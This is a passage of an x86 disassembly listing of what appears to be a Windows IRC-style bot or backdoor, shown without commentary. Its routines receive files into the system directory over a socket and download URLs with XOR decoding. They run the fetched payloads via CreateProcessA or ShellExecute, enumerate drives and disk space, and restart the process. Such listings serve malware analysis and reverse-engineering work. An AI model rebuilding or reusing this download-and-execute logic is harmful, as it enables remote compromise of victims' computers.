push [ebp+var_C]
push [ebp+var_10]
call sub_40CE23
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_3FC]
push offset dword_42D3A8
push eax
call sub_416FB6
loc_40C635: ; CODE XREF: sub_40C330+1DCj
add esp, 14h
loc_40C638: ; CODE XREF: sub_40C330+215j
cmp [ebp+var_50], esi
jnz short loc_40C65D
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D476
add esp, 14h
loc_40C65D: ; CODE XREF: sub_40C330+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40BD8D
cmp edi, esi
pop ecx
jbe short loc_40C675
push edi
call dword_43EBBC ; closesocket
loc_40C675: ; CODE XREF: sub_40C330+33Cj
push [ebp+var_1F8]
call dword_43EBBC ; closesocket
push [ebp+var_58]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40C691: ; CODE XREF: sub_40C330+2AFj
; sub_40C330+2BAj
push esi
mov esi, offset dword_42D380
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_40D476
push esi
call sub_40BD8D
add esp, 18h
push [ebp+var_1F8]
call dword_43EBBC ; closesocket
push [ebp+var_58]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_40C330 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C6D2 proc near ; DATA XREF: sub_40EC43+77Co
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_423068 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_416FB6
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_423084 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_40C75C
push offset dword_42D620
jmp short loc_40C7A2
; ---------------------------------------------------------------------------
loc_40C75C: ; CODE XREF: sub_40C6D2+81j
push eax
call dword_423078 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_4176A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40C784
push offset unk_42D5D8
jmp short loc_40C7A2
; ---------------------------------------------------------------------------
loc_40C784: ; CODE XREF: sub_40C6D2+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40C0E9
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40C7B5
push offset unk_42D598
loc_40C7A2: ; CODE XREF: sub_40C6D2+88j
; sub_40C6D2+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_416FB6
pop ecx
pop ecx
jmp loc_40C8AF
; ---------------------------------------------------------------------------
loc_40C7B5: ; CODE XREF: sub_40C6D2+C9j
mov esi, 1000h
loc_40C7BA: ; CODE XREF: sub_40C6D2+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43EB3C ; recv
mov edi, eax
cmp edi, ebx
jz loc_40C881
cmp edi, 0FFFFFFFFh
jz short loc_40C822
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4193EF
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43EB20 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
jmp short loc_40C7BA
; ---------------------------------------------------------------------------
loc_40C822: ; CODE XREF: sub_40C6D2+118j
lea eax, [ebp+var_4C4]
push offset unk_42D564
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D476
lea eax, [ebp+var_4C4]
push eax
call sub_40BD8D
push [ebp+var_4]
call sub_417600
add esp, 24h
push [ebp+arg_0]
call dword_43EBBC ; closesocket
push [ebp+var_1C]
call sub_416D90
pop ecx
push 1
call dword_423054 ; ExitThread
loc_40C881: ; CODE XREF: sub_40C6D2+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40CE23
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset unk_42D508
push eax
call sub_416FB6
add esp, 1Ch
loc_40C8AF: ; CODE XREF: sub_40C6D2+DEj
cmp [ebp+var_14], ebx
jnz short loc_40C8D4
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D476
add esp, 14h
loc_40C8D4: ; CODE XREF: sub_40C6D2+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40BD8D
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40C8EF
push [ebp+var_4]
call sub_417600
pop ecx
loc_40C8EF: ; CODE XREF: sub_40C6D2+212j
cmp [ebp+arg_0], ebx
jbe short loc_40C8FD
push [ebp+arg_0]
call dword_43EBBC ; closesocket
loc_40C8FD: ; CODE XREF: sub_40C6D2+220j
push [ebp+var_1C]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_40C6D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C90D proc near ; DATA XREF: sub_40EC43+37D5o
; sub_40EC43+3F31o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43EAD4
call dword_43EA34 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40CD86
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_423084 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40C9D4
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42D918
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40C9B7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
add esp, 14h
loc_40C9B7: ; CODE XREF: sub_40C90D+88j
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
push [ebp+var_48]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40C9D4: ; CODE XREF: sub_40C90D+68j
xor edi, edi
call dword_423058 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_417889
pop ecx
mov [ebp+var_1C], eax
loc_40C9EE: ; CODE XREF: sub_40C90D+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43EA3C ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_40CA32
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40CDEC
pop ecx
pop ecx
loc_40CA32: ; CODE XREF: sub_40C90D+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_42307C ; WriteFile
cmp edi, ebx
jnb short loc_40CA70
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40CA5A
mov eax, [ebp+arg_0]
loc_40CA5A: ; CODE XREF: sub_40C90D+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_417090
add esp, 0Ch
loc_40CA70: ; CODE XREF: sub_40C90D+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40CA7D
cmp edi, [ebp+var_3C]
ja short loc_40CABC
loc_40CA7D: ; CODE XREF: sub_40C90D+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_444368
cmp [ebp+var_44], 1
jz short loc_40CAA5
push offset dword_42D8C8
jmp short loc_40CAAA
; ---------------------------------------------------------------------------
loc_40CAA5: ; CODE XREF: sub_40C90D+18Fj
push offset dword_42D880
loc_40CAAA: ; CODE XREF: sub_40C90D+196j
push eax
call sub_416FB6
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40C9EE
loc_40CABC: ; CODE XREF: sub_40C90D+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40CB11
cmp edi, [ebp+var_3C]
jz short loc_40CB11
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset dword_42D830
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
add esp, 28h
loc_40CB11: ; CODE XREF: sub_40C90D+1B9j
; sub_40C90D+1BEj
call dword_423058 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_423078 ; CloseHandle
push [ebp+var_1C]
call sub_41793B
cmp [ebp+var_38], esi
pop ecx
jz short loc_40CB9B
lea eax, [ebp+var_148]
push eax
call sub_40C079
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40CB9B
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset dword_42D7F0
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
add esp, 28h
loc_40CB9B: ; CODE XREF: sub_40C90D+236j
; sub_40C90D+248j
cmp [ebp+var_14], esi
jz loc_40CDD3
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_40CC96
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_423690
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_423690
fstp [esp+590h+var_590]
push offset dword_42D798
push eax
call sub_416FB6
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CC16
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
add esp, 14h
loc_40CC16: ; CODE XREF: sub_40C90D+2E7j
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
cmp [ebp+var_40], 1
pop ecx
jnz loc_40CDD3
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43EA98
cmp [ebp+var_30], esi
jnz loc_40CDD3
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42D758
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
add esp, 24h
jmp loc_40CDD3
; ---------------------------------------------------------------------------
loc_40CC96: ; CODE XREF: sub_40C90D+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_423690
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_423690
fstp [esp+590h+var_590]
push offset unk_42D700
push eax
call sub_416FB6
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CCF6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
add esp, 14h
loc_40CCF6: ; CODE XREF: sub_40C90D+3C7j
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417030
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_417030
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_43BCE8
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_423120 ; CreateProcessA
cmp eax, edi
jnz short loc_40CD78
call dword_43EA84 ; WSACleanup
call sub_40AA70
push esi
call dword_42314C ; ExitProcess
loc_40CD78: ; CODE XREF: sub_40C90D+457j
lea eax, [ebp+var_148]
push eax
push offset dword_42D6A8
jmp short loc_40CD92
; ---------------------------------------------------------------------------
loc_40CD86: ; CODE XREF: sub_40C90D+45j
lea eax, [ebp+var_248]
push eax
push offset dword_42D660
loc_40CD92: ; CODE XREF: sub_40C90D+477j
lea eax, [ebp+var_510]
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CDC6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D476
add esp, 14h
loc_40CDC6: ; CODE XREF: sub_40C90D+497j
lea eax, [ebp+var_510]
push eax
call sub_40BD8D
pop ecx
loc_40CDD3: ; CODE XREF: sub_40C90D+291j
; sub_40C90D+31Aj ...
push [ebp+var_18]
call dword_43EB58 ; InternetCloseHandle
push [ebp+var_48]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
sub_40C90D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CDEC proc near ; CODE XREF: sub_40C90D+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40CE08
loc_40CDF8: ; CODE XREF: sub_40CDEC+1Aj
mov dl, byte_42E91C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40CDF8
locret_40CE08: ; CODE XREF: sub_40CDEC+Aj
retn
sub_40CDEC endp
; =============== S U B R O U T I N E =======================================
sub_40CE09 proc near ; CODE XREF: sub_40EC43+2A07p
; sub_40EC43+2B74p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4194F9
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40CE09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE23 proc near ; CODE XREF: sub_4061E4+462p
; sub_4061E4+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_442EE0
push 0
push edi
call sub_417030
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40CE48: ; CODE XREF: sub_40CE23+5Bj
; sub_40CE23+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_418ED0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_418F50
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40CE86
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40CE48
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40CE48
; ---------------------------------------------------------------------------
loc_40CE86: ; CODE XREF: sub_40CE23+4Bj
mov eax, edi
jmp short loc_40CE8F
; ---------------------------------------------------------------------------
loc_40CE8A: ; CODE XREF: sub_40CE23+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_40CE8F: ; CODE XREF: sub_40CE23+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_40CE8A
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40CE23 endp
; =============== S U B R O U T I N E =======================================
sub_40CEA1 proc near ; CODE XREF: sub_40D04D+51p
; sub_40D04D+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43EB84 ; GetDriveTypeA
sub eax, 0
jz short loc_40CEE4
dec eax
jz short loc_40CEDE
dec eax
dec eax
jz short loc_40CED8
dec eax
jz short loc_40CED2
dec eax
jz short loc_40CECC
dec eax
jz short loc_40CEC6
mov eax, offset word_42CFCC
retn
; ---------------------------------------------------------------------------
loc_40CEC6: ; CODE XREF: sub_40CEA1+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40CECC: ; CODE XREF: sub_40CEA1+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40CED2: ; CODE XREF: sub_40CEA1+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40CED8: ; CODE XREF: sub_40CEA1+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40CEDE: ; CODE XREF: sub_40CEA1+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40CEE4: ; CODE XREF: sub_40CEA1+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40CEA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEEA proc near ; CODE XREF: sub_40CF32+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43EA20
test eax, eax
jz short loc_40CF1F
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_40CF1F: ; CODE XREF: sub_40CEEA+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40CEEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF32 proc near ; CODE XREF: sub_40B6ED+1F3p
; sub_40D04D+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40CEEA
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40D00A
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40D00A
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40D00A
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_419540
push edx
push eax
call sub_40CE23
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41752A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_419540
push edx
push eax
call sub_40CE23
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41752A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_419540
push edx
push eax
call sub_40CE23
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41752A
add esp, 18h
pop ebx
jmp short loc_40D039
; ---------------------------------------------------------------------------
loc_40D00A: ; CODE XREF: sub_40CF32+2Cj
; sub_40CF32+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_416FB6
lea eax, [ebp+var_118]
push esi
push eax
call sub_416FB6
lea eax, [ebp+var_98]
push esi
push eax
call sub_416FB6
add esp, 18h
loc_40D039: ; CODE XREF: sub_40CF32+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40CF32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D04D proc near ; CODE XREF: sub_40D11F+17p
; sub_40D11F+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40CF32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4173D0
add esp, 10h
test eax, eax
jnz short loc_40D0C0
push ebx
push ebx
call sub_40CEA1
pop ecx
push eax
push offset dword_42D9E8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41752A
add esp, 14h
jmp short loc_40D0F4
; ---------------------------------------------------------------------------
loc_40D0C0: ; CODE XREF: sub_40D04D+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40CEA1
pop ecx
push eax
push offset unk_42D998
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41752A
add esp, 20h
loc_40D0F4: ; CODE XREF: sub_40D04D+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
lea eax, [ebp+var_500]
push eax
call sub_40BD8D
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40D04D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D11F proc near ; CODE XREF: sub_40EC43+577Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40D140
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D04D
add esp, 10h
jmp short loc_40D19F
; ---------------------------------------------------------------------------
loc_40D140: ; CODE XREF: sub_40D11F+9j
push esi
push edi
push ebx
push ebx
call dword_43EA94 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_417889
pop ecx
mov edi, eax
push edi
push esi
call dword_43EA94 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40D196
loc_40D164: ; CODE XREF: sub_40D11F+75j
push offset aA_0 ; "A:\\"
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D187
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D04D
add esp, 10h
loc_40D187: ; CODE XREF: sub_40D11F+54j
push esi
call sub_4177B0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_40D164
loc_40D196: ; CODE XREF: sub_40D11F+43j
push edi
call sub_41793B
pop ecx
pop edi
pop esi
loc_40D19F: ; CODE XREF: sub_40D11F+1Fj
pop ebx
pop ebp
retn
sub_40D11F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1A2 proc near ; DATA XREF: sub_40E48A+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_444574
call dword_43EBBC ; closesocket
call sub_416C3D
call dword_43EA84 ; WSACleanup
call dword_43EA84 ; WSACleanup
mov ebx, dword_423064
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417030
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417030
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43BCE8
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_423068 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_423094 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_423120 ; CreateProcessA
test eax, eax
jz short loc_40D267
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_423078
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_40D267: ; CODE XREF: sub_40D1A2+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_442F14
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_42314C ; ExitProcess
pop edi
pop esi
pop ebx
sub_40D1A2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D28A proc near ; CODE XREF: sub_40D2C2+125p
; sub_40D2C2+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40D2B8
loc_40D29B: ; CODE XREF: sub_40D28A+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4195F0
add esp, 0Ch
test eax, eax
jz short loc_40D2BE
inc esi
cmp esi, edi
jl short loc_40D29B
loc_40D2B8: ; CODE XREF: sub_40D28A+Fj
xor al, al
loc_40D2BA: ; CODE XREF: sub_40D28A+36j
pop edi
pop esi
pop ebp
retn
